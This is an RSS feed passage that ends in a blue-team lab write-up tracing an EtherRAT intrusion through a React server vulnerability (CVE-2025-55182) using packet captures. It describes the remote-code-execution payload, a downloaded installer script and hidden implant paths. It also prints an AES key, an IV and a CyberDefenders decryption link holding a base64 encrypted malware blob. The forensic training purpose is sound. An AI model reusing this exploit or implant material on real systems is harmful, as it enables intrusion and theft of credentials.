<li><strong>Verstehen Sie KI als Partner: </strong>Es gilt, mit Vibe-Coding-Tools zu kollaborieren. Diese Werkzeuge brauchen Anleitung und ihre Ergebnisse müssen überprüft werden. Blindes Vertrauen kann an dieser Stelle<a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank"> kontraproduktiv sein</a>. Sie sollten deshalb nicht zögern, die KI-generierte Logik in Frage zu stellen.</li>



<li><strong>Nutzen Sie Frameworks, Kontext und Beispiele:</strong> Etablierte Frameworks zu nutzen, erspart es Ihnen alles von Grund auf neu zu entwickeln. Die KI mit Beispielanwendungen zu füttern oder (<a href="https://www.computerwoche.de/article/4143599/mcp-server-5-tipps-fur-die-praxis.html" target="_blank">vertrauenswürdige</a>) MCP-Server hinzuzuziehen, um Kontext in größeren Projekten zu managen, kann ihre Fähigkeiten erweitern.  </li>



<li><strong>Halten Sie Menschen – und Security – im Loop:</strong> Setzen Sie auch bei Vibe- respektive KI-Coding-Tools auf das Least-Privilege-Prinzip – und Review-Prozesse. Engineering Best Practices anzuwenden, empfiehlt sich ebenfalls: Generieren Sie Tests, verifizieren Sie Funktionalitäten. Und betrachten Sie die Tools als Kreativitäts- und Produktivitäts-Support. Nicht als Substitut für <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html" target="_blank">Skills und Knowhow</a>.</li>



<li><strong>Iterieren und verfeinern Sie: </strong>Nehmen Sie mit Blick auf Vibe Coding Abstand vom Streben nach Perfektion (auch wenn es Ihnen <a href="https://www.computerwoche.de/article/4048410/was-junior-entwickler-von-the-bear-lernen-konnen.html" target="_blank">widerstrebt</a>) und finden Sie sich möglichst frühzeitig mit unvollkommenen Ergebnissen ab. Tracken Sie Prompts, cachen Sie Checkpoints und verfeinern Sie die Ergebnisse – solange, bis der “Flow” zu einer zuverlässigen Funktionalität wird.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An SRE's Guide to Camping in Extreme Conditions (emf2026)]]></title>
<description><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills ...]]></description>
<link>https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:51 +0200</pubDate>
<content:encoded><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills are transferable to handling real-life situations, too!

In this talk, I’ll share a fun (slightly traumatic) guide to applying SRE thinking to camping. I'll talk about hacky fixes to resolve the immediate impact, the process of narrowing down the root cause, and the beauty of pattern matching in observability. 

You’ll see that monitoring, escalation, and redundancy aren’t just for data centres. They’re survival tools.

If you’ve ever been on-call or just like a good disaster story, join me for this slightly chaotic, entirely true adventure in off-grid reliability.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/230-an-sres-guide-to-camping-in-extreme-conditions]]></content:encoded>
</item>
<item>
<title><![CDATA[3D Modelmaking "for girls" - The overlooked engineering skill of pattern cutting (emf2026)]]></title>
<description><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, ...]]></description>
<link>https://tsecurity.de/de/3678707/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678707/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:17:49 +0200</pubDate>
<content:encoded><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, what's engineering? What does a toy gorilla come to life really look like? Can I have a life sized, screen accurate mannequin version of Ryan Gosling? 

Find out all this and more.......accept that last one, which is no you can't - but it does exist.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/213-3d-modelmaking-for-girls]]></content:encoded>
</item>
<item>
<title><![CDATA[3D Modelmaking "for girls" - The overlooked engineering skill of pattern cutting (emf2026)]]></title>
<description><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, ...]]></description>
<link>https://tsecurity.de/de/3678686/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678686/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:02:57 +0200</pubDate>
<content:encoded><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, what's engineering? What does a toy gorilla come to life really look like? Can I have a life sized, screen accurate mannequin version of Ryan Gosling? 

Find out all this and more.......accept that last one, which is no you can't - but it does exist.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/213-3d-modelmaking-for-girls]]></content:encoded>
</item>
<item>
<title><![CDATA[KDnuggets Weekly Roundup: Week of July 13, 2026]]></title>
<description><![CDATA[Stop Using If-Else Chains: Use the Registry Pattern in Python Instead • 5 Real-World SQL Projects to Build Your Data Portfolio • 10 YouTube Channels Keeping You Ahead in AI • Structured Language Model Generation with Outlines]]></description>
<link>https://tsecurity.de/de/3678054/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-13-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678054/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-13-2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:20:10 +0200</pubDate>
<content:encoded><![CDATA[Stop Using If-Else Chains: Use the Registry Pattern in Python Instead • 5 Real-World SQL Projects to Build Your Data Portfolio • 10 YouTube Channels Keeping You Ahead in AI • Structured Language Model Generation with Outlines]]></content:encoded>
</item>
<item>
<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLzB4aFZ1dys1ZzlZNGNMbDhSTGd6MEk1eWI3RmFqQURUV05XV2I0ckJxdTBmUTZmbTVaTHI1MEx6Y0w2NmowWDJEaEhkZWVKM1JyZnIwdTNlWm1OS3hEWTM1clc5TWFVMGpQT0R3UDQvQWU1YUM1UlkzbDVOTzNzVVFmdU5MQWNMb0p2RktyOE83dGZYM0RLbjdKazVQdG1NemhUeGE3KzlEV3Z2eDJOSWpLTXJHZFRvaEoyVkNmbDNETnA5Y2JpRmNQMHl2WFRSZjVmVTI2VmR6Ri8wcW5YbFZ6S01QQ0lQN2lnYVZQcnhUaUVWVTdHMnJIaTFkWmp0WUN6eC8yc3h5a2FNSmx3Vmdab3IwbVE0UCtmYlBvNElwdEQvVTRiSEovdUVoemJkc0c5THpLSmhVRnphblAxRFpOdjNBOTIzZG9mRFU5ditTbXNKMWdueDlDOFVLL25tSEhSVS9WS08xYzd3Q2w2elR4Wm9pT1BzbExZSHd6VFQvMkl1cXl6WGh2d0gxWDd2MlM2ZmZXbDNNcmc0U25vdTVZUmpIY3E0TFQyV3NaZ0F4SWpmMzVkUGlVZ3ltcCtLdDFoZG8zWSs4N3JUOUl1QVF1TDdwb05tUEVYV0xpd3VYblA2aU41MEYwcm1nNzI5RVVmNExVVExoRkpqR2M0b3N5U0NGNDUvRmZrNkFZNTFOUE1HUnI5WnY0S0szd0ovKy9rMndrNE5jUlI4c1lWVjJmeVh3NitiMlVhemdoWXJRODhhdFB3cHRWUWdLbC9mSHBCR1dSRlE0L281SStseUVaVjJYd1dHcGNLd0JxMnRtWmRDTXFqWHhBdEJTZndWbjdVVERwT0F3RmtwUVgzYUhNSnhiZU1sdDlRUXZxWlRPVEhGM3QvTEVnUCtGNThaTGx6aUxDWmdmSk91L1pZODV0NFJ5V1NicDNqZkdhYnFMZmVvYTd6QVplbExNM0NSRlRxb2JDWVU4b1N3TWRrQVhEdWZGMEc4SzFoUXBITDhycDY1dlZoNVdnY3o3VlRGQXpoK1czV0I0cTBmblp2cXViUmJoZXZsc3dzVGZ6RzJ5ZzgveWcrS3U2Z1dQVG9FYlJpcFR5VE5VWjRlZHBWcHRwYktrNUZwclVXYzdFeTVwRTVvUllzeVI1UjdRYjFzck93NEtKWEJjQmVvOHJ0NWdrTVp3T3dsTUdldnR1NWc3VVFPK29XUW5qeVV3d0dtNGYwbDllZUJodDNQR0ttUjREbmxGdEdDQ3FPTVpnc082RlJTWXlPck5mRVdqZlVSdkYrK1M1d1p1REVuS1hvUXNqQVNNUDg4QzhaUnhLVE5pWGJEZXVhWWlxSVFDSnNmcjhMYVFpRmI3dWxOckZYa2tHU1NSQjJqQWpnWU9FSWswZzcyczZpVkw5YUpHM3NMUG5WZUovdEN2NUdxbWFNTVoySk0wNU1sSXhrMkdnT1NPeHIwYVFBMFlHSzBuZ1pNaUhOSUNKMElwNjlpVzRtQW9oOXJ1SkJSS0FtYjJWSDNVQW4xQkVQcTNXWDd4Y1NsRlpmMkVpR2ZUNndERDM2ZEpxQ3RwRmEydzdTb3VnS1lyUG9QNDJHRUhBREdndk03bFRobm9NaW0rV2xQSFIxWEd3ZWdkT2RaWkp0ZkNUdlMrMUhBU0RSOGZKSjBtSGJ1dzlMWHJ2YVdUV3lGZXRvaVdV